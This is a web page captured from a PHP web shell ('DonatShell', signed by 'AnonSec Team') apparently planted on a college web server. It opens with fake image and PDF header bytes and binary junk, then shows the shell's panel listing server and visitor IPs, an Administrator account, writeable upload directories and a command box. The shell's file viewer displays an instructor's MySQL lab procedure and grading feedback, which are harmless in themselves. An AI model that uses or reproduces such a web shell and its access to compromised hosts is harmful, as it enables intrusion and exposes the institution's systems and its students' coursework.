GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST1602/Labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST1602/Labs//Lab05_Grade_notes.txt
Lab 4 - PROCEDURE BalanceDue

/* 
BalanceDue(customerNumber, @HasBalanceDue, @AmountDue)
Returns: @HasBalanceDue as 'Yes' if the customer has a balance remaining, else 'No'.
		 @AmountDue as any amount unpaid.
Usage: BalanceDue(customerNumber, @HasBalanceDue, @AmountDue);
*/

USE classicmodels;

DROP PROCEDURE IF EXISTS BalanceDue;

DELIMITER $$
CREATE PROCEDURE BalanceDue(
    IN  p_customerNumber int(11), 
    OUT p_HasBalanceDue varchar(3),
    OUT p_AmountDue DOUBLE
	)
	BEGIN
		DECLARE totalAmountDue DOUBLE;
		DECLARE totalPayments DOUBLE;
    
		SELECT CONVERT(SUM(quantityOrdered * priceEach),DECIMAL(8,2)) INTO totalAmountDue
		  FROM orderdetails
		  JOIN orders ON orders.orderNumber = orderdetails.orderNumber
		WHERE orders.customerNumber = p_customerNumber;
		
		SELECT CONVERT(SUM(amount),DECIMAL(8,2)) INTO totalPayments
		  FROM payments
		 WHERE payments.customerNumber = p_customerNumber;
		
		IF ( totalAmountDue > totalPayments ) THEN
			SET p_HasBalanceDue = "Yes";
		   	SET p_AmountDue = CONVERT( totalAmountDue - totalPayments, DECIMAL(8,2) );
		ELSE
			SET p_HasBalanceDue = "No";
			SET p_AmountDue = 0;
		END IF;
		
		# UNCOMMENT line below to debug values.
		#SELECT customerNumber, customerName, p_HasBalanceDue, p_AmountDue, CONVERT(totalAmountDue,DECIMAL(8,2)), CONVERT(totalPayments,DECIMAL(8,2)) FROM customers WHERE customerNumber = p_customerNumber;
		
	END$$
DELIMITER ;

-10 Your BalanceDue PROCEDURE causes an error when called.
    You have multiple issues. You query gets multiple customerNumber values.
	You do not need to even get customerNumber as it is sent to the procedure as p_customerNumber.
	Your FROM clause does not state how the tables are related. You need ON or USING clauses.
	The last and clause on line 20 does not declare the table customerNumber should be used from and causes an error.
	You misspelled p_customerNumber as pCustomerNumber on line 20.
	I really think you need two queries:
	   One to get TotalOrderAmount (which must be declared)
	   One to get TotalAmountPaid (which must be declared)
	   Then you can calculate p_AmountDue and p_HasBalanceDue.
-10 Your BalanceDue PROCEDURE causes an error when called.
    Line 13; There are no tables called customerName or customerNumber.
    There are many other problems with the procedure.
    It does not calculate p_AmountDue or set p_HasBalanceDue.
    Think about what you need in order to calculate p_AmountDue...
    Then code SELECT statements that get you the values you need.
-10 Your BalanceDue PROCEDURE does not produce the proper results.
    Your SELECT query on line 7 does not limit the results to just the customerNumber parameter.
    It also does not store the result value for use later.
    Your SELECT query on line 11 does not limit the results to just the customerNumber parameter.
    It also does not store the result value for use later.
    Your SELECT queries on line 15 and 18 are nonsensical.
-1 Line 13; You are storing the result in a global variable.
   Instead you should DECLARE a local variable and store the result in that.
   This is a bad idea as you may be changing the value of a variable already in use.
   Also, users of your procedure cannot see the code and do not know this is happening.
   You can also add an INTO clause to your SELECT instead of using SET.
-1 Line 19; You are storing the result in a global variable.
   See above.
-1 Line 15; You are storing the result in a global variable.
   Instead you should store it in the local variable you have DECLAREd.
   This is a bad idea as you may be changing the value of a variable already in use.
   Also, users of your procedure cannot see the code and do not know this is happening.
   You can also add an INTO clause to your SELECT instead of using SET.
-1 Line 24; You are storing the result in a global variable.
   See above.

SELECT IF(@payments<@purchasedAmount,"YES", "NO") INTO p_HasBalanceDue;		;
-0 Line 29. You could also use an IF..THEN..ELSE..END IF statement and SET statements.
   Your method is harder to understand at first, but it is elegant and shorter.
-0 Line 32; Same here.

Anon7 - 2022
AnonSec Team